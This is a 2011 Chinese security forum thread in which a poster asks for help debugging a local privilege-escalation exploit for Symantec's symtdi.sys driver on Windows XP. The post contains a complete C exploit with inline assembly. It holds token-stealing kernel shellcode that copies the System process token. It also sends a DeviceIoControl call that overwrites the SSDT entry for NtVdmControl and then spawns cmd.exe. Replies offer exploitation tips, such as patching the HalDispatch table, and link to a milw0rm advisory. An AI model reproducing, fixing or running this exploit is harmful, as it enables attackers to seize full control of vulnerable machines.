首页
社区
课程
招聘
[求助]Symantec核心驱动symtdi.sys漏洞利用中遇到的问题
发表于: 2011-1-13 09:48 9183

[求助]Symantec核心驱动symtdi.sys漏洞利用中遇到的问题

2011-1-13 09:48
9183

这个漏洞的分析网上一搜,一堆一堆的,千篇一律!
这个地址是原创吧!http://www.whitecell.org/list.php?id=49
可是利用代码总是提权不成功……
漏洞文件放在附件里了,哪位高人帮我看一下呢~!

[win xp sp2]利用代码:

#include <stdio.h>
#include <windows.h>
#pragma comment (lib, "ntdll.lib")
typedef LONG NTSTATUS;
#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef struct _IMAGE_FIXUP_ENTRY {
    WORD    offset:12;
    WORD    type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
extern "C"
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
    IN HANDLE ProcessHandle,
    IN OUT PVOID *BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG AllocationSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );
int main(int argc, char* argv[])
{
    NTSTATUS    status;
    HANDLE    deviceHandle;
    DWORD    dwReturnSize = 0;
    PVOID    VdmControl = NULL;
    PVOID    ShellCodeMemory = (PVOID)0x2E332E35;
    //PVOID    InputBuffer = NULL;
    DWORD    MemorySize = 0x2000;
    PROCESS_INFORMATION            pi;
    STARTUPINFOA                stStartup;
    OSVERSIONINFOEX    OsVersionInfo;
    RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
    OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);
    if ( OsVersionInfo.dwMajorVersion != 5 ) {
        printf( "Not NT5 system\n" );
        ExitProcess( 0 );
        return 0;
    }
    if ( OsVersionInfo.dwMinorVersion != 1 ) {
   
        printf( "isn't windows xp system\n" );
        ExitProcess( 0 );
        return 0;
    }
    printf( "Symantec Local Privilege Escalation Vulnerability Exploit (POC) \n\n" );
    //printf( "Tested on: \n\twindows 2003 sp1 (ntkrnl.pa.exe version) \n\n" );
    //printf( "\tCoded by shadow3\n\n" );
    //__asm int 3
    status = NtAllocateVirtualMemory( (HANDLE)-1,
                                      &ShellCodeMemory,
                                      0,
                                      &MemorySize,
                                      MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
                                      PAGE_EXECUTE_READWRITE );
    if ( status != STATUS_SUCCESS ) {
   
        printf( "NtAllocateVirtualMemory failed, status: %08X\n", status );
        return 0;
    }
    memset( ShellCodeMemory, 0x90, MemorySize );
    __asm {
   
        call    CopyShellCode
        nop
        nop
        nop
        nop
        nop
        nop
        //
        // 恢复SSDT保证系统能够正常运行
        //
/*
        mov edi, 0x80827D54
        mov [edi], 0x808C998A
        mov [edi+4], 0x809ba123
        mov [edi+8], 0x80915CBE
*/ // ntoskrnl.exe
        ///mov edi, 0x8083100C
        // mov [edi], 0x808C998A
        ///mov [edi+4], 0x809970CC // ntkrnlpa.exe version
        ///mov [edi+8], 0x8092FF3E
        mov    eax,0xFFDFF124    // eax = ETHREAD        (not 3G Mode)
        mov eax,[eax]
        mov    esi,[eax+0x220]
        mov    eax,esi
searchXP:
        mov    eax,[eax+0x88]
        sub    eax,0x88
        mov    edx,[eax+0x84]
        cmp    edx,0x4    // Find System Process
        jne    searchXP
        mov    eax,[eax+0xc8]    // 获取system进程的token
        mov    [esi+0xc8],eax    // 修改当前进程的token
        ret 8
CopyShellCode:
        
        pop    esi
        lea ecx, CopyShellCode
        sub ecx, esi
        mov edi,0x2E332E35
        cld
        rep movsb
   
    }
    /*deviceHandle = CreateFile("[url=]\\\\.\\symtdi[/url]",
                        0,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        0,
                        NULL);
    if ( INVALID_HANDLE_VALUE == deviceHandle ) {
   
        printf( "Open Symtdi device failed, code: %d\n", GetLastError() );
        return 0;
    } else {
   
        printf( "Open Symtdi device success\n" );
    }*/
//到此,用windbg看到,ShellCode已经写到0x2e332e35地址处了
    DeviceIoControl( deviceHandle,
                     0x83022003,
                     NULL,
                     0x0,
                     (PVOID)0x80502460, //ntkrnlpa.exe version // (PVOID)0x80827D54,
                     0xC,
                     &dwReturnSize,  
                     NULL );
//这里,用windbg观察到,已经将SSDT表中的0x10c号函数NtVdmControl地址改为0x2e332e35
    CloseHandle( deviceHandle );
    VdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );
    if ( VdmControl == NULL ) {
   
        printf( "VdmControl == NULL\n" );
        return 0;
    }
    printf( "call shellcode ... " );
    __asm {
   
        xor ecx,ecx
        push ecx
        push ecx
        mov eax, VdmControl
        call eax
    }
    printf( "Done.\n" );
    printf( "Create New Process\n" );
    GetStartupInfo( &stStartup );
    CreateProcess( NULL,
                    "cmd.exe",
                    NULL,
                    NULL,
                    TRUE,
                    NULL,
                    NULL,
                    NULL,
                    &stStartup,
                    &pi );
    return 0;
}

出错信息:用windbg跟踪利用代码,发现在执行"pop ebp"这句的时候,函数突然跳转到另外的代码区域0x805affb0。


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (6)
雪    币: 234
活跃值: (83)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
2
CopyShellCode 那里的0x2E352E35 应该是0x2E332E35的吧~~
2011-1-13 13:49
0
雪    币: 275
活跃值: (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
不好意思!这个地方我粘代码的时候忘记改了,实际利用时候,我这里是写的0x2e332e35!核对了一下,其它地方都一样了!
已经在上面的帖子改过来了,谢谢^_^
用windbg发现,0x2e332e35这个地址已经写在0x80502460(就是NtVdmControl的内存地址)里了,就在后面没调用NtVdmControl之前,居然出错了……
2011-1-13 13:59
0
雪    币: 275
活跃值: (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
往上顶顶,漫长的等待……
2011-1-14 10:21
0
雪    币: 451
活跃值: (78)
能力值: ( LV12,RANK:470 )
在线值:
发帖
回帖
粉丝
5
没调试你的情况,不过根据你的图来看,
看不出是在写入到ssdt这儿的时候异常了?
还是在call VdmControl异常了?
那个异常,就是c0000005是发生在哪个空间中的?symtdi?

某些情况的驱动漏洞利用写SSDT会出问题(默认有SSDT写保护的),建议修改haldispatch表,这个比较好用的稳定,不过你这个既然说SSDT已经写进去了,那就肯定不是这个问题了
另外,你仔细用windbg跟踪下symtdi的流程,看起来好像你破坏了一点数据
导致堆栈出了点问题?返回到r3的时候出错了?

原文“但是一定要在调用ring 0代码的时候进行一些现场恢复,不然一定会死的比较难看的”
你慢慢用windbg调试,看看是哪里是访问异常,追溯其eax参数来源,看看是哪里导致的
2011-1-14 11:18
0
雪    币: 275
活跃值: (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
谢谢zhuwg,能使的办法都试了,不行,另外如果Outbuffer传入的是先前开辟的内存地址2e330000,就没事,但是一旦是内核地址,就蓝了!调试发现,写内核内存是写上了的,不解啊,一定是遇到了我现在知识所不能及的问题了…………
2011-1-18 09:42
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
是不是这个http://sebug.net/vuldb/ssvid-7041
http://www.milw0rm.com/sploits/07122007-symTDI_advisory.rar
2011-12-5 06:11
0
游客
登录 | 注册 方可回帖
返回
//